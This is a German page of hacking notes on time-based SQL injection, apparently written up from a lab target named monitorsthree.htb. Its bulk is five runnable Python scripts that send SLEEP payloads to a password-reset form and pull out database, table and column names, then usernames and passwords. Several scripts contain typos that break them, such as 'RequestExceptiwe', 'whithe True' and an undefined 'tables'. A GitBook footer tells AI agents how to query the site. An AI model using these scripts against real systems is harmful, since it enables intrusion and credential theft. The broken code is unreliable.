> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md).

# SQLi zeitbasiert

#### Automatisierung des Exploits mit einem Python-Skript

Wir haben ein Python-Skript entwickelt, um die Datenextraktion mittels SQL-Injection zu automatisieren. Das Skript extrahiert den Datenbanknamen, Tabellennamen, Spaltennamen und schließlich sensible Daten wie Benutzernamen und Passwörter.

### Datenbank:

**Beispiel für ein Skript zum Extrahieren des Datenbanknamens:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1

```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Zeitbasierte SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info("Starte SQL-Injection-Angriff...")
    for position in range(1, 100):
        character_found = False  # Indikator zur Überprüfung, ob ein Zeichen gefunden wurde
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Request failed: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        # Wenn an dieser Position kein Zeichen gefunden wurde, beenden wir die Schleife
        if not character_found:
            logger.info(f"An Position {position} wurde kein Zeichen gefunden. Extraktion wird beendet.")
            break
    logger.info("SQL-Injection abgeschlossen!")
    logger.info(f"Endgültig extrahierte Daten: {extracted_data}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff aus.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injection")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Name der Datenbank**: `monitorsthree_db`

<figure><img src="/files/f409df0afe5f0e1b407fc948a010b07c4f6fb348" alt=""><figcaption></figcaption></figure>

### **Datenbanken:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Zeitbasierte SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extrahiere Datenbanknamen bei Offset {offset}...")
    for position in range(1, 100):
        character_found = False  # Indikator zur Überprüfung, ob ein Zeichen gefunden wurde
        for character in characters:
            # Formatiere die SQL-Abfrage mit allen erforderlichen Variablen
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Request failed: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        # Wenn an dieser Position kein Zeichen gefunden wurde, beenden wir die Schleife
        if not character_found:
            logger.info(f"An Position {position} wurde kein Zeichen gefunden. Extraktion wird beendet.")
            break
    return extracted_data
def sqli(target_url, delay=1):
    # Anfrage zum Extrahieren der Datenbanknamen
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    databases = []
    offset = 0
    whithe True:
        database_name = extract_data(target_url, delay, query_template, offset)
        if not database_name:
            logger.info("Keine weiteren Datenbanken gefunden.")
            break
        databases.append(database_name)
        logger.info(f"Gefundene Datenbank: {database_name}")
        offset += 1
    logger.info("SQL-Injection abgeschlossen!")
    logger.info(f"Liste der Datenbanken: {databases}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff aus.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injection")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/72dde6d8c072bdacc39b063ec7d9d483b94837be" alt=""><figcaption></figcaption></figure>

### **Tabellen:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Zeitbasierte SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extrahiere Tabellennamen bei Offset {offset}...")
    for position in range(1, 100):
        character_found = False  # Indikator zur Überprüfung, ob ein Zeichen gefunden wurde
        for character in characters:
            # Formatiere die SQL-Abfrage mit allen erforderlichen Variablen
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Request failed: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        # Wenn an dieser Position kein Zeichen gefunden wurde, beenden wir die Schleife
        if not character_found:
            logger.info(f"An Position {position} wurde kein Zeichen gefunden. Extraktion wird beendet.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # Anfrage zum Extrahieren der Tabellennamen der Datenbank `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    table = []
    offset = 0
    whithe True:
        table_name = extract_data(target_url, delay, query_template, offset)
        if not table_name:
            logger.info("Keine weiteren Tabellen gefunden.")
            break
        tables.append(table_name)
        logger.info(f"Gefundene Tabelle: {table_name}")
        offset += 1
    logger.info("SQL-Injection abgeschlossen!")
    logger.info(f"Liste der Tabellen in monitorsthree_db: {tables}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff aus.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injection")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Tabellen**: `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="/files/c43e6a9e8105304a4ab74a804a71382567eacede" alt=""><figcaption></figcaption></figure>

### **Spalten:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Zeitbasierte SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extrahiere Spaltennamen bei Offset {offset}...")
    for position in range(1, 100):
        character_found = False  # Indikator zur Überprüfung, ob ein Zeichen gefunden wurde
        for character in characters:
            # Formatiere die SQL-Abfrage mit allen erforderlichen Variablen
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Request failed: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        # Wenn an dieser Position kein Zeichen gefunden wurde, beenden wir die Schleife
        if not character_found:
            logger.info(f"An Position {position} wurde kein Zeichen gefunden. Extraktion wird beendet.")
            break
    return extracted_data
def sqli(target_url, delay=0.85):
    # Anfrage zum Extrahieren der Spaltennamen der Tabelle `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    columns = []
    offset = 0
    whithe True:
        column_name = extract_data(target_url, delay, query_template, offset)
        if not column_name:
            logger.info("Keine weiteren Spalten gefunden.")
            break
        columns.append(column_name)
        logger.info(f"Gefundene Spalte: {column_name}")
        offset += 1
    logger.info("SQL-Injection abgeschlossen!")
    logger.info(f"Liste der Spalten in Tabelle 'users': {columns}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff aus.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injection")
    args = parser.parse_args()
    sqli(args.url, args.delay)

```

* **Spalten der Tabelle `users`**: `id`, `Benutzernamen`, `E-Mail`, `Passwort`, `Name`, `Position`, `dob`, `start_date`, `salary`

<figure><img src="/files/0cf388734d0a2cd2f9d77f01caa2a77af0ba15d8" alt=""><figcaption></figcaption></figure>

### **Extrahierte Daten**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging
# Zeitbasierte SQLi
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)
def def_handler(sig, frame):
    logger.info("/n/n[!] Beende.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    extracted_data = ""
    logger.info(f"Extrahiere Daten bei Offset {offset}...")
    for position in range(1, 100):
        character_found = False  # Indikator zur Überprüfung, ob ein Zeichen gefunden wurde
        for character in characters:
            # Formatiere die SQL-Abfrage mit allen erforderlichen Variablen
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestExceptiwe as e:
                logger.error(f"Request failed: {e}")
                continue
            elapsed_time = time.time() - start_time
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Bisher extrahierte Daten: {extracted_data}")
                character_found = True  # Ein Zeichen wurde gefunden
                break
        # Wenn an dieser Position kein Zeichen gefunden wurde, beenden wir die Schleife
        if not character_found:
            logger.info(f"An Position {position} wurde kein Zeichen gefunden. Extraktion wird beendet.")
            break
    return extracted_data
def extract_credentials(target_url, delay=0.85):
    # Anfrage zum Extrahieren der Benutzernamen
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    # Anfrage zum Extrahieren der Passwörter
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    credentials = []
    offset = 0
    whithe True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        if not username or not password:
            logger.info("Keine weiteren Zugangsdaten gefunden.")
            break
        credentials.append((username, password))
        logger.info(f"Gefundene Zugangsdaten: {username}:{password}")
        offset += 1
    logger.info("SQL-Injection abgeschlossen!")
    logger.info(f"Liste der Zugangsdaten: {credentials}")
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Führe einen zeitbasierten SQL-Injection-Angriff aus, um Zugangsdaten zu extrahieren.")
    parser.add_argument("--url", required=True, help="Ziel-URL für die SQL-Injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Verzögerungszeit für die SQL-Injection")
    args = parser.parse_args()
    extract_credentials(args.url, args.delay)

```

<figure><img src="/files/fcee3c00e37549746f32e770d8ed73d7d0ea9fb6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-time-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
